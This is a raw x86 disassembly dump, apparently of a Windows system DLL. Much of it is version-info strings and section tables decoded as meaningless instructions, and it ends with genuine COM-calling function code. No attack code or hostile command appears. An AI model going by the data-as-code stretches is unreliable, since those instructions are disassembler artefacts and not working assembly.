add byte gs:[ebp], ch
push eax
add byte [edi], ch
imul eax, dword [eax], 0x74006e
add byte gs:[edx], dh
add byte [eax], al
add byte [eax], al
jne 0x46345e
mov edx, 0x7d12876c
inc eax
wait
ja 0x463436
push cs
add eax, dword [esi - 0x4e52ef34]
dec ebp
xchg ecx, eax
xor edx, edx
adc dword [edx + 0x4fc00033], ebx
mov dword [0x4561], eax
add byte [eax], al
push edi
add byte [ecx], ch
popal
add byte [edx], al
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], 0x420061
jb 0x46348a
imul eax, dword [eax], 0x680067
je 0x463492
outsb dx, byte [esi]
add byte [ebp], ah
jae 0x463498
jae 0x46349a
inc ebx
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax + eax + 0x72], dh
add byte [ecx], ah
jae 0x4634a8
je 0x4634aa
push eax
add byte [edx], dh
add byte gs:[esi], dh
imul eax, dword [eax], 0x770065
push edi
add byte [ecx], ch
outsb dx, byte [esi]
add byte [eax + eax + 0x6f], ah
add byte [edi], dh
add byte [eax], al
add byte [eax], al
add eax, 0x84d00000
add byte [eax], al
loopne 0x46347d
add byte [eax], al
and eax, 0xf0000005
push ebp
add byte [eax], al
rol byte [eax + eax + 0x55500], 1
add byte [edi + 0x5a000040], dl
pop ebx
add byte [eax], al
and al, 5
add byte [eax], al
push 0xf0000042
push ebp
add byte [eax], al
dec esi
add eax, 0x2ee80000
add byte [eax], al
in eax, 0x4a
add byte [eax], al
xchg dword [0x466f0000], eax
add byte [eax], al
aam 0x31
add byte [eax], al
inc ecx
add eax, 0x31d40000
add byte [eax], al
outsd dx, dword [esi]
inc esi
add byte [eax], al
push edx
add eax, 0x31850000
add byte [eax], al
jo 0x46356a
add byte [eax], al
xor al, byte [0x2ee00000]
add byte [eax], al
push eax
inc esi
add byte [eax], al
pop esi
add eax, 0x40970000
add byte [eax], al
lodsd eax, dword [esi]
sub eax, 0x5380000
add byte [eax], al
lodsd eax, dword [esi]
sub eax, 0x40970000
add byte [eax], al
pop ss
add eax, 0x42680000
add byte [eax], al
clc
sub al, byte [eax]
add byte [esi], dl
add eax, 0x2af80000
add byte [eax], al
push 0x2e000042
add eax, 0x3a980000
add byte [eax], al
clc
sub al, byte [eax]
add byte [ecx], ch
add eax, 0x3a1b0000
add byte [eax], al
clc
sub al, byte [eax]
add byte [ecx + 5], ah
add byte [eax], al
sti
aaa
add byte [eax], al
xchg byte [edi], ah
add byte [eax], al
cmp al, 5
add byte [eax], al
xchg byte [edi], ah
add byte [eax], al
sti
aaa
add byte [eax], al
xor dword [0x251c0000], eax
add byte [eax], al
cwde
cmp al, byte [eax]
add byte [eax + 0x27100000], bl
add byte [eax], al
mov al, 0x36
add byte [eax], al
dec ecx
add eax, 0x26730000
add byte [eax], al
dec edx
add byte ss:[eax], al
das
add eax, 0x2ee50000
add byte [eax], al
std
sub al, byte [eax]
add byte [ebp + 5], cl
add byte [eax], al
jmp 0xc04635ef
add byte [eax], al
aas
add eax, 0x10eb0000
add byte [eax], al
aad 0x21
add byte [eax], al
jl 0x46386b
add byte [eax], al
dec esp
sbb al, 0
add dh, bh
adc eax, dword [eax]
add byte [edi + 5], ch
add byte [eax], al
invalid
add byte [esi], ah
adc byte [eax], al
add bl, al
push ss
add byte [eax], al
sub byte [0xe290000], al
add byte [eax], al
sbb dword fs:[eax], eax
add byte [ebx + 5], ah
add byte [eax], al
ret
add byte [ecx], al
add cl, ch
add eax, dword [eax]
add byte [eax], al
add byte [edx], al
add al, ch
add eax, dword [eax]
add byte [eax], al
add byte [eax + eax], al
ljmp 0x800
je 0x463c05
push edx
insd dword es:[edi], dx
outsd dx, dword [esi]
jbe 0x463c11
add byte [eax], al
add byte [eax], al
dec ecx
insd dword es:[edi], dx
popal
dec esp
imul esi, dword [ebx + 0x74], 0x7465475f
dec ecx
arpl word [edi + 0x6e], bp
push ebx
imul edi, dword [edx + 0x65], 0x43000000
jb 0x463c30
popal
je 0x463c33
push eax
jb 0x463c40
jo 0x463c38
jb 0x463c49
jb 0x463c49
jns 0x463c2a
push 0x50746565
popal
push edi
add byte [eax], al
add byte [eax], al
push eax
jb 0x463c56
jo 0x463c4e
jb 0x463c5f
jns 0x463c40
push 0x57746565
add byte [eax], al
push edi
add byte [ecx], ch
popal
add byte [eax + eax + 0x65], dl
add byte [eax], bh
je 0x463c02
inc ebx
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax + eax + 0x72], dh
add byte [edi], ch
insb byte es:[edi], dx
add byte [eax], al
add byte [esi], ch
je 0x463c0a
jb 0x463c0c
outsd dx, dword [esi]
add byte [eax + eax], ch
add byte [eax], al
add byte [ebx], dl
arpl word [eax], ax
popal
add byte [esi], ch
dec esi
add byte [edi], ch
je 0x463c22
imul eax, dword [eax], 0x790066
inc edx
add byte [ebp], ah
add byte [bx + di], ch
add byte gs:[edi], ah
imul eax, dword [eax], 0x53006e
outsb dx, byte [esi]
add byte [ebx], dl
add byte [ebx], ah
arpl word [eax], ax
popal
add byte [esi], ch
add byte [eax], al
push ebx
add byte [ebx], ah
outsb dx, byte [esi]
add byte [eax], al
add byte [ebx], dl
arpl word [eax], ax
popal
add byte [esi], ch
dec esi
add byte [edi], ch
je 0x463c4a
add byte [ecx], ch
add byte [ecx], bh
imul eax, dword [eax], 0x790066
jns 0x463c50
inc ebp
add byte [esi], ch
add byte fs:[ebx], dl
arpl word [eax], ax
push ebx
add byte [ebx], ah
popal
add byte [esi], ch
add byte [eax], al
push ebx
add byte [ebx], ah
add byte [ebx], dl
arpl word [eax], ax
popal
add byte [esi], ch
dec esi
add byte [edi], ch
je 0x463c6e
imul eax, dword [eax], 0x790066
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [edi], ah
jb 0x463c7e
add byte gs:[ebx], dh
jae 0x463c84
add byte [eax], al
add byte [eax], al
jae 0x463c8a
arpl word [eax], ax
jb 0x463c8e
outsd dx, dword [esi]
add byte [eax + eax + 0x6c], ch
add byte [edx], ah
popal
add byte [edx], dh
add byte [eax], al
inc ebx
add byte [edi], ch
insd dword es:[edi], dx
add byte [ebp], ch
outsd dx, dword [esi]
add byte [esi], ch
inc esp
add byte [ecx], ch
popal
add byte [eax + eax + 0x6f], ch
add byte [edi], ah
inc ebx
add byte [ebp], dh
jae 0x463cba
je 0x463cbc
outsd dx, dword [esi]
add byte [ebp], ch
push ebx
add byte [ebp], ah
je 0x463cc6
je 0x463cc8
imul eax, dword [eax], 0x67006e
jae 0x463cd0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
push ebx
add byte [edi], ch
add byte [eax + eax + 0x77], dh
add byte [ecx], ah
jb 0x463ce6
add byte gs:[eax + eax + 0x4d], bl
add byte [ecx], ch
arpl word [eax], ax
jb 0x463cf2
outsd dx, dword [esi]
add byte [ebx], dh
outsd dx, dword [esi]
add byte [esi], ah
je 0x463cfc
pop esp
add byte [edi], dl
imul eax, dword [eax], 0x64006e
outsd dx, dword [esi]
add byte [edi], dh
jae 0x463d0c
pop esp
add byte [ebx], al
jne 0x463d12
jb 0x463d14
jb 0x463d16
add byte gs:[esi], ch
je 0x463d1c
push esi
add byte [ebp], ah
jb 0x463d22
jae 0x463d24
imul eax, dword [eax], 0x6e006f
pop esp
add byte [edi], dl
dec ecx
add byte [ecx], al
pop esp
add byte [edi], dl
imul eax, dword [eax], 0x430061
outsd dx, dword [esi]
add byte [ebp], ch
insd dword es:[edi], dx
add byte [edi], ch
outsb dx, byte [esi]
add byte [ebx], dl
arpl word [eax], ax
popal
add byte [esi], ch
outsb dx, byte [esi]
add byte [ebp], ah
jb 0x463d54
inc esp
add byte [ecx], ch
popal
add byte [eax + eax + 0x6f], ch
add byte [edi], ah
add byte [eax], al
add byte [eax], al
add dh, dh
add eax, dword [eax]
add dh, dh
add eax, dword [eax]
add bl, dh
add eax, dword [eax]
add byte [edx], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax - 0x5efffff1], ah
sldt word [eax]
add dword [eax], eax
add byte [eax], al
mov byte [0xa300000f], al
sldt word [eax]
add al, byte [eax]
add byte [eax], al
mov dword [0xa500000f], eax
sldt word [eax]
add al, 0
add byte [eax], al
mov eax, dword [0xae00000f]
sldt word [eax]
add byte [eax], al
add byte [eax], al
rol dword [eax], cl
add byte [eax], al
rol byte [eax], cl
add byte [eax], al
aam 0
add byte [eax], al
aad 0
add byte [eax], al
fadd dword [eax]
add byte [eax], al
salc
add byte [eax], al
add cl, bl
add byte [eax], al
add bh, dl
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [edi + 0x100000f], ah
add byte [eax], al
add byte [eax + 0x5700000f], dh
add byte [ecx], ch
popal
add byte [eax], dl
jb 0x463dde
add byte gs:[esi], dh
imul eax, dword [eax], 0x770065
inc ebx
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax + eax + 0x72], dh
add byte [edi], ch
insb byte es:[edi], dx
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], 0x500061
jb 0x463e02
add byte gs:[esi], dh
imul eax, dword [eax], 0x770065
inc ebx
add byte [edi], ch
outsb dx, byte [esi]
add byte [eax + eax + 0x72], dh
add byte [edi], ch
insb byte es:[edi], dx
add byte [esi], al
jb 0x463e1e
popal
add byte [ebp], ch
add byte gs:[eax], al
add byte [eax], al
add byte [ebp], ch
jae 0x463e2c
arpl word [eax], ax
je 0x463e30
insb byte es:[edi], dx
add byte [ebx], dh
pop edi
add byte [eax], dh
jb 0x463e3a
outsd dx, dword [esi]
add byte [edi], ah
jb 0x463e40
add byte gs:[ebx], dh
jae 0x463e46
xor eax, dword [eax]
xor al, byte [eax]
add byte [eax], al
dec ebp
add byte [ecx], ch
arpl word [eax], ax
jb case.0x41056d.94
outsd dx, dword [esi]
add byte [ebx], dh
outsd dx, dword [esi]
add byte [esi], ah
je 0x463e5e
add byte cs:[eax], dl
push 0x74006f00
add byte [edi], ch
inc ecx
add byte [ebx], ah
jno 0x463e70
jne 0x463e72
imul eax, dword [eax], 0x650072
pop esp
add byte [ebx], al
dec esp
add byte [ebx], dl
dec ecx
add byte [eax + eax], al
add byte [eax], al
add byte [eax + eax + 0x49], bl
add byte [esi], ch
jo 0x463e90
jb 0x463e92
outsd dx, dword [esi]
add byte [ebx], ah
push ebx
add byte [ebp], ah
jb 0x463e9c
jbe 0x463e9e
add byte gs:[edx], dh
xor eax, dword [eax]
xor al, byte [eax]
add byte [eax], al
inc ebx
add byte [eax + eax + 0x53], cl
add byte [ecx], cl
inc esp
add byte [eax + eax], bl
add byte [eax], al
add byte [eax + eax + 0x49], bl
add byte [ebp], ch
popal
add byte [edi], ah
imul eax, dword [eax], 0x67006e
inc esp
add byte [ebp], ah
jbe 0x463ece
imul eax, dword [eax], 0x650063
jae 0x463ed6
add byte cs:[ebp], ah
js 0x463edc
add byte gs:[eax], al
add byte [0x69005700], ch
add byte [ecx], ah
push eax
add byte [edx], dh
outsd dx, dword [esi]
add byte [eax], dh
add byte gs:[edx], dh
je 0x463ef6
imul eax, dword [eax], 0x730065
push esi
add byte [ebp], ah
jb 0x463f02
jae 0x463f04
imul eax, dword [eax], 0x6e006f
xor dword [eax], eax
and byte [eax], al
and al, byte [eax]
and eax, 0x73007700
add byte [edx], ah
add byte [eax], ah
add byte [0x69005700], ch
add byte [esi], ch
add byte fs:[edi], ch
ja 0x463f28
dec eax
add byte [ecx], ah
outsb dx, byte [esi]
add byte [eax + eax + 0x6c], ah
add byte [ebp], ah
and byte [eax], al
and eax, 0x7500
add byte [edx], ah
add byte [eax], ah
add byte [eax], al
add byte [eax], al
add byte [eax + eax + 0x6f], ch
add byte [ebx], ah
popal
add byte [eax + eax], ch
add byte [eax], ah
add byte [eax], ch
add byte [eax], al
add byte [eax], al
add byte [ecx], ch
add byte [eax], al
add byte [edx], ah
add byte [eax], al
add byte [eax], ch
add byte [esi], ch
add byte [esi], ch
add byte [ecx], ch
add byte [eax], al
add byte [eax], al
add byte [ebx], al
dec esp
add byte [ebx], dl
dec ecx
add byte [eax + eax + 0x5c], al
add byte [0x73007700], ah
add byte [eax + eax + 0x73], bl
add byte [eax], ch
add byte gs:[eax + eax + 0x6c], ch
add byte [ebp], ah
js 0x463f8e
pop esp
add byte [0x7300], ah
add byte [eax], al
add byte [edi], dl
imul eax, dword [eax], 0x440061
imul eax, dword [eax], 0x6c0061
outsd dx, dword [esi]
add byte [edi], ah
inc ebp
add byte [eax], bh
je 0x463fb0
add byte gs:[esi], ch
jae 0x463fb6
imul eax, dword [eax], 0x6e006f
dec eax
add byte [ecx], ah
outsb dx, byte [esi]
add byte [eax + eax + 0x6c], ah
add byte [ebp], ah
jb 0x463fca
jae 0x463fcc
add byte [eax], al
add byte [eax], al
push esp
add byte [edi], ch
outsd dx, dword [esi]
add byte [eax + eax + 0x62], ch
add byte [ecx], ah
jb 0x463fde
add byte [eax], al
add byte [eax + eax + 0x6f], dl
add byte [edi], ch
insb byte es:[edi], dx
add byte [edx], ah
popal
add byte [edx], dh
push edi
add byte [ecx], ch
outsb dx, byte [esi]
add byte [eax + eax + 0x6f], ah
add byte [edi], dh
xor eax, dword [eax]
xor al, byte [eax]
add byte [eax], al
add byte [eax], al
add byte [eax], al
aas
add byte [eax], al
aas
xor esi, dword [ebx]
jae 0x464037
jb 0x463ff3
jg 0x46403b
add byte [eax], al
add byte [eax], al
jnp 0x464016
scasb al, byte es:[edi]
inc edi
loope 0x464080
test byte [edi], bh
add byte [eax], al
add byte [eax], al
add byte [eax], al
loopne 0x46404f
add byte [eax], al
add byte [eax + 0x66], ah
out dx, al
out dx, al
aas
add byte [eax], al
add byte [eax], al
add byte [eax], al
sbb byte [eax], al
add byte [eax], al
add byte [eax], al
inc eax
push esp
inc eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
pop ecx
inc eax
add byte [eax], al
add byte [eax], al
jnp 0x464063
and dh, byte [eax + eax + 0x2000000]
mov ah, 0
add byte [eax], al
add byte [edx], al
add byte [eax], al
add byte [0x38000000], ah
cmp byte [edi], ah
cmp byte [edi], ah
add byte [eax], al
cmp byte [ebx], bl
add byte [eax], al
add byte [eax], al
add byte [eax], al
jnp 0x46407f
add byte [ebx + 0x2d], bh
and dh, byte [eax + eax + 0xd000000]
add byte [eax], al
add ah, ch
add dword [eax], eax
add byte [eax + 0x27], ah
add byte [eax], al
pushal
sbb eax, dword [eax]
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x2d], bh
add byte [eax + 0x1b], ah
add byte [eax], al
add byte [eax], al
add byte [eax], al
jnp 0x46409b
and dh, byte [eax + eax + 0x10000000]
add byte [eax], al
add byte [eax + eax], ah
add byte [eax], al
dec esp
sub dword [eax], eax
add byte [ebp + ebx], cl
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
dec esp
sbb eax, 0
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
inc eax
push edx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax + 0x52], al
add al, byte [eax]
sbb byte [eax], al
add byte [eax], al
add al, byte [eax + 0x26dc8002]
add byte [eax], al
and al, 0
add byte [eax], al
add byte [edi], ah
add byte [eax], al
cmp byte [eax], al
add byte [eax], al
xchg esi, eax
dec ecx
add al, byte [eax]
and byte [edx + 2], cl
add byte [edi + 0x4a], bh
add al, byte [eax]
popfd
dec edx
add al, byte [eax]
ret 0x24a
add al, byte [eax]
test byte [edi + 2], cl
add byte [edi + ecx*2 + 0x10000002], dl
add byte [eax], al
insb byte es:[edi], dx
add eax, dword [eax]
add byte [eax], bh
push ss
add byte [eax], al
clc
sldt word [eax]
jbe 0x46413b
add byte [eax], al
xor al, 0x26
add al, byte [eax]
ror byte [edi + 2], 1
add bh, dh
add dword [eax], eax
add byte [eax + 0x52], al
add al, byte [eax]
sub eax, dword [eax]
add byte [eax], al
adc byte [edx + 2], 0
adc byte [eax], al
add byte [eax], al
jo 0x464185
add al, byte [eax]
mov al, byte [0x52000000]
push ebx
inc esp
push ebx
pop esp
stosb byte es:[edi], al
aaa
cmp eax, 0x89b8353d
wait
dec eax
outsb dx, byte [esi]
or ebp, dword es:[eax]
jl 0x46417c
add dword [eax], eax
add byte [eax], al
ja 0x4641bb
popal
jne 0x4641c1
jo 0x4641bf
bound eax, qword [eax]
add byte [eax], al
add byte [edi + 0x43], al
push esp
dec esp
add byte [eax], dl
add byte [eax], al
pop eax
add eax, dword [eax]
add byte [esi], ch
jb 0x4641d3
popal
je 0x4641d3
and al, 0x62
jb 0x4641d9
add byte [eax], al
pop eax
adc eax, dword [eax]
add byte [eax + eax], al
add al, 0
add byte [eax], al
inc ebx
push edx
push esp
and al, 0x58
pop eax
inc ebx
inc ecx
add byte [eax], al
add byte [eax], al
pop esp
adc eax, dword [eax]
add byte [eax + eax], al
add byte [eax], al
inc ebx
push edx
push esp
and al, 0x58
inc ebx
pop edx
add byte [eax], al
add byte [eax], al
pushal
adc eax, dword [eax]
add byte [eax + eax], al
add byte [eax], al
inc ebx
push edx
push esp
and al, 0x58
dec ecx
inc ecx
add byte [eax], al
add byte [eax], al
adc eax, dword fs:[eax]
add byte [eax + eax], al
add byte [eax], al
inc ebx
add byte [esi], ch
inc ebx
push edx
push esp
and al, 0x58
pop eax
dec ecx
inc ecx
inc ecx
add byte [eax], al
add byte [eax + 0x13], ch
add byte [eax], al
add al, 0
add byte [eax], al
inc ebx
push edx
push esp
and al, 0x58
dec ecx
pop edx
add byte [eax], al
add byte [eax], al
insb byte es:[edi], dx
adc eax, dword [eax]
add byte [eax], al
add byte [ebx + edx], ch
add ah, cl
add al, byte [eax]
add byte [esi], ch
imul sp, word [si + 0x73], 0
cmp byte [esi], dl
add byte [eax], al
mov byte [eax], dl
add byte [eax], al
add byte [esi], ch
jb 0x46425b
add byte [esi], ch
jb 0x46425b
popal
je 0x46425b
add byte [eax], al
shl byte [esi], 0
add byte [eax + eax], al
add byte [eax], al
jb 0x46426b
popal
je 0x46426b
and al, 0x73
js 0x464272
popal
je 0x464272
add byte [eax], al
add ah, al
add byte es:[eax], al
je 0x46421a
add byte [eax], al
jb 0x464283
popal
je 0x464283
and al, 0x76
outsd dx, dword [esi]
insb byte es:[edi], dx
je 0x464295
add byte fs:[eax], al
add byte [eax], bh
daa
add byte [eax], al
cmp byte [edx], al
add byte [eax], al
jb 0x46429b
popal
je 0x46429b
and al, 0x7a
jp 0x4642b8
bound esp, qword fs:[edi]
add byte [eax], al
jo 0x46426f
add byte [eax], al
add byte [edx], ch
add al, byte [eax]
je 0x4642b4
js 0x4642c5
and al, 0x6d
outsb dx, byte [esi]
add byte [eax], al
add byte [eax], al
jo 0x4642ad
add al, byte [eax]
mov al, byte [0x2e000000]
add byte [eax + 0x2e000000], ah
js 0x4642c7
popal
je 0x4642c7
and al, 0x78
add byte [eax], al
add byte [eax], al
adc byte [edx + eax], dl
add byte [eax], dl
push esp
add al, byte [eax]
add byte [ebp + 0x2e000000], ah
movsd dword es:[edi], dword [esi]
add byte [eax], al
add byte [esi], ch
add byte [eax], al
popal
popal
je 0x4642db
add byte [eax], al
add byte [eax + 2], ah
add byte [eax], dh
add byte [eax], al
add byte [esi], ch
popal
je 0x4642ea
and al, 0x62
jb 0x4642f0
add byte [eax], al
add byte [eax], dh
pushal
add al, byte [eax]
adc byte [ecx], al
add byte [eax], al
popal
add dword [eax], eax
add byte [esi], ch
popal
je 0x4642fe
add byte [eax], al
add byte [eax + 0x61], al
add al, byte [eax]
rol byte [ebx], 0
add byte [esi], ch
bound esi, qword [ebx + 0x73]
add byte [eax], al
add byte [eax], al
add byte [eax + 2], dh
add byte [eax], al
add byte [eax], al
jo 0x4642b5
add byte [esp + eax], dl
adc al, 4
add al, 0
add byte [esi], ch
imul esp, dword [ecx + 0x74], 0x352461
add byte [eax], al
imul esp, dword cs:[ecx + 0x74], 0x352461
add byte [eax], al
add byte [esp + esi*2], dl
add al, byte [eax]
or byte [eax], al
add byte [eax], al
xor byte cs:[eax], dh
je 0x4642c9
add byte [eax], cl
add byte [eax], al
add byte [esi], ch
xor byte [eax], dh
arpl word [esi + 0x67], sp
add byte [eax], al
sbb al, 0x74
add al, byte [eax]
lock add byte [eax], al
add byte [esi], ch
imul esp, dword [ecx + 0x74], 0x322461
add byte [eax], al
add byte [esi*2 + 0x140002], cl
add al, byte [eax]
adc al, 0
add byte [eax], al
imul esp, dword cs:[ecx + 0x74], 0x332461
add byte [eax], al
add byte [eax], ah
jne 0x464301
add al, byte [eax]
adc al, 4
add byte [esp + eax], dl
add al, 0
add byte [esi], ch
imul esp, dword [ecx + 0x74], 0x342461
add byte [eax], al
imul esp, dword cs:[ecx + 0x74], 0x342461
add byte [eax], al
add byte [ecx + edi*2], dh
add al, byte [eax]
pushfd
adc dword [eax], eax
add byte [esi], ch
imul esp, dword [ecx + 0x74], 0x362461
add byte [eax], al
add byte [eax], al
nop
add al, byte [eax]
lock add byte [eax], al
add byte [esi], ch
jb 0x4643a2
jb 0x464394
and al, 0x30
xor dword [eax], eax
add byte [eax], al
add al, dh
nop
add al, byte [eax]
add byte [edi], 0
add byte [esi], ch
jb 0x4643b6
jb 0x4643a8
and al, 0x30
xor al, byte [eax]
add byte [eax], al
add byte [eax], ah
add byte [eax], al
add byte [edx + ebp*4 + 0x37], bl
cmp eax, 0x89b8353d
wait
dec eax
outsb dx, byte [esi]
or ebp, dword es:[eax]
jl 0x464390
add esp, dword [esp + ecx - 0x2bfd4116]
scasb al, byte es:[edi]
or ebx, dword [0x2d7b73fa]
mov esi, 0xbaed402
sbb eax, 0x2d7b73fa
and dh, byte [eax + eax]
add byte [ebx - 0x1374aa01], cl
cmp dword [ebp + 8], 0
jne 0x464385
xor eax, eax
pop ebp
ret
push dword [ebp + 8]
push 0x40
call dword [0x1002715c]
pop ebp
ret
int3
int3
or edi, edi
jne 0x4643ae
call dword [0x10027158]
pop ebp
pop eax
jno 0x4643ad
adc byte [ebp - 0x3d], bl
ret
int3
int3
in al, dx
mov ecx, dword [ebp + 8]
xor eax, eax
inc eax
lock xadd dword [ecx + 4], eax
inc eax
pop ebp
ret 4
ret 0x24
mov dword [esp + 0x4c8], eax
mov ecx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], eax
push esi
lea esi, [ebp + 0x18]
push edi
lea edi, [esp + 0x58]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
test ebx, ebx
jne 0x4647f9
mov eax, 0x80070057
jmp 0x464bae
mov eax, dword [ebp + 0x2c]
mov dword [ecx + 0x2c], eax
mov eax, dword [ebp + 0x14]
and eax, 1
mov dword [ebp + 0x14], eax
jne 0x46490f
lea edi, [ecx + 0x30]
push edi
push 0x10001958
push 1
push 0
push 0x10001948
mov dword [esp + 0x28], edi
call dword [0x10027408]
test eax, eax
js 0x464908
mov eax, dword [edi]
push 4
push dword [esp + 0x1c]
mov ecx, dword [eax]
push eax
mov esi, dword [ecx + 0xc]
mov ecx, esi
call dword [0x10027414]
call esi
mov esi, dword [edi]
lea ecx, [esp + 0x3c0]
push dword [0x10026468]
push 1
mov eax, dword [esi]
mov edi, dword [eax + 0x1c]
call 0x46513b
push eax
lea ecx, [esp + 0x1a4]
call 0x4652ab
push dword [esp + 0x2a4]
mov ecx, edi
push esi
call dword [0x10027414]
call edi
lea ecx, [esp + 0x1a0]
call 0x4652f8
lea ecx, [esp + 0x3c0]
call 0x4652f8
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x88]
push dword [0x10026468]
push 2
mov esi, dword [eax]
mov eax, dword [esi]
mov edi, dword [eax + 0x20]
call 0x46513b
push eax
lea ecx, [esp + 0x2b4]
call 0x4652ab
push dword [esp + 0x3b4]
mov ecx, edi
push esi
call dword [0x10027414]
call edi
lea ecx, [esp + 0x2b0]
call 0x4652f8
lea ecx, [esp + 0x88]
call 0x4652f8
mov ecx, dword [esp + 0x14]
mov eax, dword [ecx]
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x10]
mov ecx, esi
call dword [0x10027414]
call esi
mov eax, dword [ebp + 0x14]
mov ecx, dword [esp + 0x1c]
lea edx, [ecx + 0x30]
cmp dword [edx], 0
mov dword [esp + 0x24], edx
jne 0x46493d
test eax, eax
jne 0x46493d
call dword [0x100270e4]
mov edi, eax
test edi, edi
jle 0x464bac
movzx edi, di
or edi, 0x80070000
jmp 0x464bac
and dword [esp + 0x14], 0
add ecx, 0xfffffffc
mov dword [esp + 0x20], ecx
mov eax, dword [ecx]
mov esi, dword [eax]
lea eax, [esp + 0x14]
push eax
push 0x10001698
push ecx
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x464b80
mov eax, dword [ebx]
and dword [esp + 0x18], 0
mov esi, dword [eax]
lea eax, [esp + 0x18]
push eax
push 0x100016c8
push ebx
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x464b77
push 0x10
mov edi, 0x10001658
lea eax, [esp + 0x5c]
push edi
push eax
call 0x486d40
add esp, 0xc
test eax, eax
jne 0x464a15
mov ecx, dword [esp + 0x20]
and dword [esp + 0x10], eax
mov eax, dword [ecx]
mov esi, dword [eax]
lea eax, [esp + 0x10]
push eax
push 0x100018f8
push ecx
mov ecx, esi
call dword [0x10027414]
call esi
test eax, eax
js 0x464a0c
mov eax, dword [esp + 0x10]
push 0x80
push ebx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0xc]
mov ecx, esi
call dword [0x10027414]
call esi
test eax, eax
js 0x464a0c
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x58]
add eax, 8
push edx
push eax
mov ecx, dword [eax]
mov esi, dword [ecx + 0x20]
mov ecx, esi
call dword [0x10027414]
call esi
lea ecx, [esp + 0x10]
call 0x465110
lea edx, [esp + 0x58]
xor ecx, ecx
mov eax, dword [edx + ecx*4]
cmp eax, dword [edi + ecx*4]
jne 0x464a36
inc ecx
cmp ecx, 4
jne 0x464a1b
mov esi, 0x10001708
lea edi, [esp + 0x58]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor eax, eax
lea edi, [esp + 0x2c]
stosd dword es:[edi], eax
push 7
pop ecx
push 0x48
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [esp + 0x3e]
mov dword [esp + 0x30], 0x100a
rep stosd dword es:[edi], eax
mov dword [esp + 0x38], 0x100c
stosw word es:[edi], ax
xor eax, eax
inc eax
mov dword [esp + 0x54], 0x80
mov dword [esp + 0x2c], eax
mov dword [esp + 0x34], eax
pop eax
mov word [esp + 0x38], ax
lea eax, [esp + 0x58]
push 3
mov dword [esp + 0x44], eax
pop eax
mov word [esp + 0x48], ax
mov eax, dword [esp + 0x18]
push 0x1002
mov ecx, dword [eax]
mov esi, dword [ecx + 0x10]
lea ecx, [esp + 0x3c]
push ecx
lea ecx, [esp + 0x30]
push ecx
push 2
push eax
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x464b77
mov eax, dword [ebx]
and dword [esp + 0x10], 0
mov esi, dword [eax]
lea eax, [esp + 0x10]
push eax
push 0x100016a8
push ebx
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
test edi, edi
js 0x464b6e
mov eax, dword [ebp + 0x28]
test eax, eax
jne 0x464b24
push 0x1016
lea ecx, [esp + 0x8c]
call 0x46eda4
lea eax, [esp + 0x20]
mov ecx, ebx
push eax
lea edx, [esp + 0x8c]
call 0x46f089
lea ecx, [esp + 0x88]
mov bl, al
call 0x4652f8
mov eax, 0xffff
test bl, bl
je 0x464b24
mov eax, dword [esp + 0x20]
push dword [esp + 0x14]
xor ecx, ecx
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x74], ecx
mov dword [esp + 0x7c], ecx
mov dword [esp + 0x80], ecx
mov dword [esp + 0x84], ecx
mov dword [esp + 0x88], ecx
mov dword [esp + 0x70], 0x1c
mov ecx, dword [eax]
mov esi, dword [ecx + 0x10]
lea ecx, [esp + 0x70]
push ecx
push eax
mov ecx, esi
call dword [0x10027414]
call esi
mov edi, eax
lea ecx, [esp + 0x10]
call 0x465110
lea ecx, [esp + 0x18]
call 0x465110
mov ebx, dword [esp + 0x24]
mov edx, dword [ebx]
test edx, edx
je 0x464ba3
mov eax, dword [edx]
push edx
mov esi, dword [eax + 0x28]
mov ecx, esi
call dword [0x10027414]
call esi
xor edx, edx
mov ecx, ebx
call 0x465204
lea ecx, [esp + 0x14]
call 0x465110
mov eax, edi
mov ecx, dword [esp + 0x4d4]
pop edi
pop esi
pop ebx
xor ecx, esp
call 0x486850
